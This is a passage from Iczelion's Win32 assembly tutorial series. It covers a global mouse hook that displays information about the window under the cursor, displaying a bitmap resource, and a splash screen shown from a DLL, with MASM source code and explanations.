invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif
.elseif uMsg==WM_COMMAND
.if lParam!=0
mov eax,wParam
mov edx,eax
shr edx,16
.if dx==BN_CLICKED
.if ax==IDC_EXIT
invoke SendMessage,hDlg,WM_CLOSE,0,0
.else
.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif
.else
invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL
.endif
.endif
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgFunc endp

end start

;----------------------------------------------------- This is the source code of the DLL --------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.const
WM_MOUSEHOOK equ WM_USER+6

.data
hInstance dd 0

.data?
hHook dd ?
hWnd dd ?

.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif
mov eax,TRUE
ret
DllEntry Endp

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp

End DllEntry

;---------------------------------------------- This is the makefile of the DLL ----------------------------------------------

NAME=mousehook
$(NAME).dll: $(NAME).obj
Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm\lib $(NAME).obj
$(NAME).obj: $(NAME).asm
ml /c /coff /Cp $(NAME).asm

Analysis:

The example will display a dialog box with three edit controls that will be filled with the class name, window handle and the address of the window procedure associated with the window under the mouse cursor. There are two buttons, Hook and Exit. When you press the Hook button, the program hooks the mouse input and the text on the button changes to Unhook. When you move the mouse cursor over a window, the info about that window will be displayed in the main window of the example. When you press Unhook button, the program removes the mouse hook.
The main program uses a dialog box as its main window. It defines a custom message, WM_MOUSEHOOK which will be used between the main program and the hook DLL. When the main program receives this message, wParam contains the handle of the window that the mouse cursor is on. Of course, this is an arbitrary arrangement. I decide to send the handle in wParam for the sake of simplicity. You can choose your own method of communication between the main program and the hook DLL.

.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif

The program maintains a flag, HookFlag, to monitor the state of the hook. It's FALSE if the hook is not installed and TRUE if the hook is installed.
When the user presses Hook button, the program checks if the hook is already installed. If it is not, it call InstallHook function in the hook DLL to install it. Note that we pass the handle of the main dialog as the parameter of the function so the hook DLL can send the WM_MOUSEHOOK messages to the right window i.e. our own.
When the program is loaded, the hook DLL is loaded too. Actually, DLLs are loaded immediately after the program is in memory. The DLL entrypoint function is called before the first instruction in the main program is execute even. So when the main program executes the DLL(s) is/are initialized. We put the following code in the DLL entrypoint function of the hook DLL:

.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif

The code just saves the instance handle of the hook DLL itself to a global variable named hInstance for use within the InstallHook function. Since the DLL entrypoint function is called before other functions in the DLL are called , hInstance is always valid. We put hInstance in .data section so that this value is kept on per-process basis. Since when the mouse cursor hovers over a window, the hook DLL is mapped into the process. Imagine that there is already a DLL that occupies the intended load address of the hook DLL, the hook DLL would be remapped to another address. The value of hInstance will be updated to those of the new load address. When the user presses Unhook button and then Hook button, SetWindowsHookEx will be called again. However, this time, it will use the new load address as the instance handle which will be wrong because in the example process, the hook DLL's load address hasn't been changed. The hook will be a local one where you can hook only the mouse events that occur in your own window. Hardly desirable.

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

The InstallHook function itself is very simple. It saves the window handle passed as its parameter to a global variable named hWnd for future use. It then calls SetWindowsHookEx to install a mouse hook. The return value of SetWindowsHookEx is stored in a global variable named hHook for use with UnhookWindowsHookEx.
After SetWindowsHookEx is called, the mouse hook is functional. Whenever a mouse event occurs in the system, MouseProc ( your hook procedure) is called.

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

The first thing it does is to call CallNextHookEx to give the other hooks the chance to process the mouse event. After that, it calls WindowFromPoint function to retrieve the handle of the window at the specified screen coordinate. Note that we use the POINT structure in the MOUSEHOOKSTRUCT structure pointed to by lParam as the current mouse coordinate. After that we send the window handle to the main program via PostMessage with WM_MOUSEHOOK message. One thing you should remember is that: you should not use SendMessage inside the hook procedure, it can cause message deadlock. PostMessage is recommended. The MOUSEHOOKSTRUCT structure is defined below:

MOUSEHOOKSTRUCT STRUCT DWORD
pt POINT <>
hwnd DWORD ?
wHitTestCode DWORD ?
dwExtraInfo DWORD ?
MOUSEHOOKSTRUCT ENDS

  • pt is the current screen coordinate of the mouse cursor
  • hwnd is the handle of the window that will receive the mouse message. It's usually the window under the mouse cursor but not always. If a window calls SetCapture, the mouse input will be redirected to that window instead. Because of this reason, I don't use the hwnd member of this structure but choose to call WindowFromPoint instead.
  • wHitTestCode specifies the hit-test value. The hit-test value gives more information about the current mouse cursor position. It specifies on what part of window the mouse cursor is. For complete list, check your win32 api reference under WM_NCHITTEST message.
  • dwExtraInfo contains the extra information associated with the message. Normally this value is set by calling mouse_event and retrieved by calling GetMessageExtraInfo.
When the main window receives WM_MOUSEHOOK message, it uses the window handle in wParam to retrieve the information about the window.

.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif

To avoid flickers, we check the text already in the edit controls and the text we will put into them if they are identical. If they are, we skip them.
We retrieve the class name by calling GetClassName, the address of the window procedure by calling GetClassLong with GCL_WNDPROC and then format them into strings and put them into the appropriate edit controls.

invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL

When the user presses Unhook button, the program calls UninstallHook function in the hook DLL. UninstallHook just calls UnhookWindowsHookEx. After that, it changes the text of the button back to "Hook", HookFlag to FALSE and clears the content of the edit controls.
Note the linker switch in the makefile.

Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS

It specifies .bss section as a shared section to make all processes share the same uninitialized data section of the hook DLL. Without this switch, your hook DLL will not function correctly.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 25: Simple Bitmap

In this tutorial, we will learn how to use bitmap in our program. To be exact, we will learn how to display a bitmap in the client area of our window. Download the example.

Theory

Bitmaps can be thought of as pictures stored in computer. There are many picture formats used with computers but Windows only natively supports Windows Bitmap Graphics files (.bmp). The bitmaps I'll refer to in this tutorial are Windows bitmap graphics files. The easiest way to use a bitmap is to use it as a resource. There are two ways to do that. You can include the bitmap in the resource definition file (.rc) as follows:
#define IDB_MYBITMAP 100
IDB_MYBITMAP BITMAP "c:\project\example.bmp"
This method uses a constant to represent the bitmap. The first line just creates a constant named IDB_MYBITMAP which has the value of 100. We will use this label to refer to the bitmap in the program. The next line declares a bitmap resource. It tells the resource compiler where to find the actual bmp file.
The other method uses a name to represent the bitmap as follows:
MyBitMap BITMAP "c:\project\example.bmp"
This method requires that you refer to the bitmap in your program by the string "MyBitMap" instead of a value.
Either method works fine as long as you know which method you're using.
Now that we put the bitmap in the resource file, we can go on with the steps in displaying it in the client area of our window.
  1. call LoadBitmap to get the bitmap handle. LoadBitmap has the following definition:
      LoadBitmap proto hInstance:HINSTANCE, lpBitmapName:LPSTR

    This function returns a bitmap handle. hInstance is the instance handle of our program. lpBitmapName is a pointer to the string that is the name of the bitmap (incase you use the second method to refer to the bitmap). If you use a constant to refer to the bitmap (like IDB_MYBITMAP), you can put its value here. (In the example above it would be 100). A short example is in order:

      First Method:

      .386
      .model flat, stdcall
      ................
      .const
      IDB_MYBITMAP equ 100
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,IDB_MYBITMAP
      ...........

      Second Method:

      .386
      .model flat, stdcall
      ................
      .data
      BitmapName db "MyBitMap",0
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,addr BitmapName
      ...........

  1. Obtain a handle to device context (DC). You can obtain this handle by calling BeginPaint in response to WM_PAINT message or by calling GetDC anywhere.
  2. Create a memory device context which has the same attribute as the device context we just obtained. The idea here is to create a kind of "hidden" drawing surface which we can draw the bitmap on. When we are finished with the operation, we just copy the content of the hidden drawing surface to the actual device context in one function call. It's an example of double-buffer technique used for fast display of pictures on the screen. You can create this "hidden" drawing surface by calling CreateCompatibleDC.
      CreateCompatibleDC proto hdc:HDC

    If this function succeeds, it returns the handle of the memory device context in eax. hdc is the handle to the device context that you want the memory DC to be compatible with.

  1. Now that you got a hidden drawing surface, you can draw on it by selecting the bitmap into it. This is done by calling SelectObject with the handle to the memory DC as the first parameter and the bitmap handle as the second parameter. SelectObject has the following definition:
      SelectObject proto hdc:HDC, hGdiObject:DWORD
  1. The bitmap is drawn on the memory device context now. All we need to do here is to copy it to the actual display device, namely the true device context. There are several functions that can perform this operation such as BitBlt and StretchBlt. BitBlt just copies the content of one DC to another so it's fast while StretchBlt can stretch or compress the bitmap to fit the output area. We will use BitBlt here for simplicity. BitBlt has the following definition:
      BitBlt proto hdcDest:DWORD, nxDest:DWORD, nyDest:DWORD, nWidth:DWORD, nHeight:DWORD, hdcSrc:DWORD, nxSrc:DWORD, nySrc:DWORD, dwROP:DWORD
    hdcDest is the handle of the device context that serves as the destination of bitmap transfer operation
    nxDest, nyDest are the coordinate of the upper left corner of the output area
    nWidth, nHeight are the width and height of the output area
    hdcSrc is the handle of the device context that serves as the source of bitmap transfer operation
    nxSrc, nySrc are the coordinate of the upper left corner of the source rectangle.
    dwROP is the raster-operation code (hence the acronym ROP) that governs how to combine the color data of the bitmap to the existing color data on the output area to achieve the final result. Most of the time, you only want to overwrite the existing color data with the new one.
  1. When you're done with the bitmap, delete it with DeleteObject API call.
That's it! To recapitulate, you need to put the bitmap into the resource scipt. Then load it from the resource with LoadBitmap. You'll get the bitmap handle. Next you obtain the handle to the device context of the area you want to paint the bitmap on. Then you create a memory device context that is compatible with the device context you just obtained. Select the bitmap into the memory DC then copy the content of the memory DC to the real DC.

Example Code:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
IDB_MAIN equ 1

.data
ClassName db "SimpleWin32ASMBitmapClass",0
AppName db "Win32ASM Simple Bitmap Example",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hBitmap dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL ps:PAINTSTRUCT
LOCAL hdc:HDC
LOCAL hMemDC:HDC
LOCAL rect:RECT
.if uMsg==WM_CREATE
invoke LoadBitmap,hInstance,IDB_MAIN
mov hBitmap,eax
.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemDC,eax
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWnd,addr rect
invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
invoke DeleteDC,hMemDC
invoke EndPaint,hWnd,addr ps
.elseif uMsg==WM_DESTROY
invoke DeleteObject,hBitmap
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

;---------------------------------------------------------------------
; The resource script
;---------------------------------------------------------------------
#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"

Analysis:

There is not much to analyze in this tutorial ;)
#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"
Define a constant named IDB_MAIN, assign 1 as its value. And then use that constant as the bitmap resource identifier. The bitmap file to be included in the resource is "tweety78.bmp" which resides in the same folder as the resource script.

.if uMsg==WM_CREATE
invoke LoadBitmap,hInstance,IDB_MAIN
mov hBitmap,eax

In response to WM_CREATE, we call LoadBitmap to load the bitmap from the resource, passing the bitmap's resource identifier as the second parameter to the API. We get the handle to the bitmap when the function returns.
Now that the bitmap is loaded, we can paint it in the client area of our main window.

.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemDC,eax
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWnd,addr rect
invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
invoke DeleteDC,hMemDC
invoke EndPaint,hWnd,addr ps

We choose to paint the bitmap in response to WM_PAINT message. We first call BeginPaint to obtain the handle to the device context. Then we create a compatible memory DC with CreateCompatibleDC. Next select the bitmap into the memory DC with SelectObject. Determine the dimension of the client area with GetClientRect. Now we can display the bitmap in the client area by calling BitBlt which copies the bitmap from the memory DC to the real DC. When the painting is done, we have no further need for the memory DC so we delete it with DeleteDC. End painting session with EndPaint.

.elseif uMsg==WM_DESTROY
invoke DeleteObject,hBitmap
invoke PostQuitMessage,NULL
When we don't need the bitmap anymore, we delete it with DeleteObject
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 26: Splash Screen

Now that we know how to use a bitmap, we can progress to a more creative use of it. Splash screen. Download the example.

Theory

A splash screen is a window that has no title bar, no system menu box, no border that displays a bitmap for a while and then disappears automatically. It's usually used during program startup, to display the program's logo or to distract the user's attention while the program does some lengthy initialization. We will implement a splash screen in this tutorial.
The first step is to include the bitmap in the resource file. However, if you think of it, it's a waste of precious memory to load a bitmap that will be used only once and keep it in memory till the program is closed. A better solution is to create a *resource* DLL which contains the bitmap and has the sole purpose of displaying the splash screen. This way, you can load the DLL when you want to display the splash screen and unload it when it's not necessary anymore. So we will have two modules: the main program and the splash DLL. We will put the bitmap into the DLL's resource.
The general scheme is as follows:
  1. Put the bitmap into the DLL as a bitmap resource
  2. The main program calls LoadLibrary to load the dll into memory
  3. The DLL entrypoint function of the DLL is called. It will create a timer and set the length of time that the splash screen will be displayed. Next it will register and create a window without caption and border and display the bitmap in the client area.
  4. When the specified length of time elapsed, the splash screen is removed from the screen and the control is returned to the main program
  5. The main program calls FreeLibrary to unload the DLL from memory and then goes on with whatever task it is supposed to do.
We will examine the mechanisms in detail.

Load/Unload DLL

You can dynamically load a DLL with LoadLibrary function which has the following syntax:
LoadLibrary proto lpDLLName:DWORD
It takes only one parameter: the address of the name of the DLL you want to load into memory. If the call is successful, it returns the module handle of the DLL else it returns NULL.
To unload a DLL, call FreeLibrary:
FreeLibrary proto hLib:DWORD
It takes one parameter: the module handle of the DLL you want to unload. Normally, you got that handle from LoadLibrary

How to use a timer

First, you must create a timer first with SetTimer:
SetTimer proto hWnd:DWORD, TimerID:DWORD, uElapse:DWORD, lpTimerFunc:DWORD

hWnd is the handle of a window that will receive the timer notification message. This parameter can be NULL to specify that there is no window that's associated with the timer.
TimerID is a user-defined value that is used as the ID of the timer.
uElapse is the time-out value in milliseconds.
lpTimerFunc is the address of a function that will process the timer notification messages. If you pass NULL, the timer messages will be sent to the window specified by hWnd parameter.

SetTimer returns the ID of the timer if successful. Otherwise it returns NULL. So it's best not to use the timer ID of 0.

You can create a timer in two ways:
  • If you have a window and you want the timer notification messages to go to that window, you must pass all four parameters to SetTimer (the lpTimerFunc must be NULL)
  • If you don't have a window or you don't want to process the timer messages in the window procedure, you must pass NULL to the function in place of a window handle. You must also specify the address of the timer function that will process the timer messages.
We will use the first approach in this example.
When the time-out period elapses, WM_TIMER message is sent to the window that is associated with the timer. For example, if you specify uElapse of 1000, your window will receive WM_TIMER every second.
When you don't need the timer anymore, destroy it with KillTimer:
KillTimer proto hWnd:DWORD, TimerID:DWORD

Example:

;-----------------------------------------------------------------------
; The main program
;-----------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SplashDemoWinClass",0
AppName db "Splash Screen Example",0
Libname db "splash.dll",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
start:
invoke LoadLibrary,addr Libname
.if eax!=NULL
invoke FreeLibrary,eax
.endif
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

;--------------------------------------------------------------------
; The Bitmap DLL
;--------------------------------------------------------------------
.386
.model flat, stdcall
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
.data
BitmapName db "MySplashBMP",0
ClassName db "SplashWndClass",0
hBitMap dd 0
TimerID dd 0

.data
hInstance dd ?

.code

DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH ; When the dll is loaded
push hInst
pop hInstance
call ShowBitMap
.endif
mov eax,TRUE
ret
DllEntry Endp
ShowBitMap proc
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,0
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
WS_POPUP,CW_USEDEFAULT,\
CW_USEDEFAULT,250,250,NULL,NULL,\
hInstance,NULL
mov hwnd,eax
INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
.WHILE TRUE
INVOKE GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
INVOKE TranslateMessage, ADDR msg
INVOKE DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
ShowBitMap endp
WndProc proc hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL ps:PAINTSTRUCT
LOCAL hdc:HDC
LOCAL hMemoryDC:HDC
LOCAL hOldBmp:DWORD
LOCAL bitmap:BITMAP
LOCAL DlgHeight:DWORD
LOCAL DlgWidth:DWORD
LOCAL DlgRect:RECT
LOCAL DesktopRect:RECT

.if uMsg==WM_DESTROY
.if hBitMap!=0
invoke DeleteObject,hBitMap
.endif
invoke PostQuitMessage,NULL
.elseif uMsg==WM_CREATE
invoke GetWindowRect,hWnd,addr DlgRect
invoke GetDesktopWindow
mov ecx,eax
invoke GetWindowRect,ecx,addr DesktopRect
push 0
mov eax,DlgRect.bottom
sub eax,DlgRect.top
mov DlgHeight,eax
push eax
mov eax,DlgRect.right
sub eax,DlgRect.left
mov DlgWidth,eax
push eax
mov eax,DesktopRect.bottom
sub eax,DlgHeight
shr eax,1
push eax
mov eax,DesktopRect.right
sub eax,DlgWidth
shr eax,1
push eax
push hWnd
call MoveWindow
invoke LoadBitmap,hInstance,addr BitmapName
mov hBitMap,eax
invoke SetTimer,hWnd,1,2000,NULL
mov TimerID,eax
.elseif uMsg==WM_TIMER
invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
invoke KillTimer,hWnd,TimerID
.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemoryDC,eax
invoke SelectObject,eax,hBitMap
mov hOldBmp,eax
invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
invoke StretchBlt,hdc,0,0,250,250,\
hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
invoke SelectObject,hMemoryDC,hOldBmp
invoke DeleteDC,hMemoryDC
invoke EndPaint,hWnd,addr ps
.elseif uMsg==WM_LBUTTONDOWN
invoke DestroyWindow,hWnd
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

End DllEntry

Analysis:

We will examine the code in the main program first.
invoke LoadLibrary,addr Libname
.if eax!=NULL
invoke FreeLibrary,eax
.endif
We call LoadLibrary to load the DLL named "splash.dll". And after that, unload it from memory with FreeLibrary. LoadLibrary will not return until the DLL is finished with its initialization.
That's all the main program does. The interesting part is in the DLL.

.if reason==DLL_PROCESS_ATTACH ; When the dll is loaded
push hInst
pop hInstance
call ShowBitMap

When the DLL is loaded, Windows calls its entrypoint function with DLL_PROCESS_ATTACH flag. We take this opportunity to display the splash screen. First we store the instance handle of the DLL for future use. Then call a function named ShowBitMap to do the real job. ShowBitMap registers a window class, creates a window and enters the message loop as usual. The interesting part is in the CreateWindowEx call:

INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
WS_POPUP,CW_USEDEFAULT,\
CW_USEDEFAULT,250,250,NULL,NULL,\
hInstance,NULL

Note that the window style is only WS_POPUP which will make the window borderless and without caption. We also limit the width and height of the window to 250x250 pixels.
Now when the window is created, in WM_CREATE message handler we move the window to the center of the screen with the following code.

invoke GetWindowRect,hWnd,addr DlgRect
invoke GetDesktopWindow
mov ecx,eax
invoke GetWindowRect,ecx,addr DesktopRect
push 0
mov eax,DlgRect.bottom
sub eax,DlgRect.top
mov DlgHeight,eax
push eax
mov eax,DlgRect.right
sub eax,DlgRect.left
mov DlgWidth,eax
push eax
mov eax,DesktopRect.bottom
sub eax,DlgHeight
shr eax,1
push eax
mov eax,DesktopRect.right
sub eax,DlgWidth
shr eax,1
push eax
push hWnd
call MoveWindow

It retrieves the dimensions of the desktop and the window then calculates the appropriate coordinate of the left upper corner of the window to make it center.

invoke LoadBitmap,hInstance,addr BitmapName
mov hBitMap,eax
invoke SetTimer,hWnd,1,2000,NULL
mov TimerID,eax

Next it loads the bitmap from the resource with LoadBitmap and creates a timer with the timer ID of 1 and the time interval 2 seconds. The timer will send WM_TIMER messages to the window every 2 seconds.

.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemoryDC,eax
invoke SelectObject,eax,hBitMap
mov hOldBmp,eax
invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
invoke StretchBlt,hdc,0,0,250,250,\
hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
invoke SelectObject,hMemoryDC,hOldBmp
invoke DeleteDC,hMemoryDC
invoke EndPaint,hWnd,addr ps

When the window receives WM_PAINT message, it creates a memory DC, select the bitmap into the memory DC, obtain the size of the bitmap with GetObject and then put the bitmap on the window by calling StretchBlt which performs like BitBlt but it can stretch or compress the bitmap to the desired dimension. In this case, we want the bitmap to fit into the window so we use StretchBlt instead of BitBlt. We delete the memory DC after that.

.elseif uMsg==WM_LBUTTONDOWN
invoke DestroyWindow,hWnd

It would be frustrating to the user if he has to wait until the splash screen to disappear. We can provide the user with a choice. When he clicks on the splash screen, it will disappear. That's why we need to process WM_LBUTTONDOWN message in the DLL. Upon receiving this message, the window is destroyed by DestroyWindow call.

.elseif uMsg==WM_TIMER
invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
invoke KillTimer,hWnd,TimerID

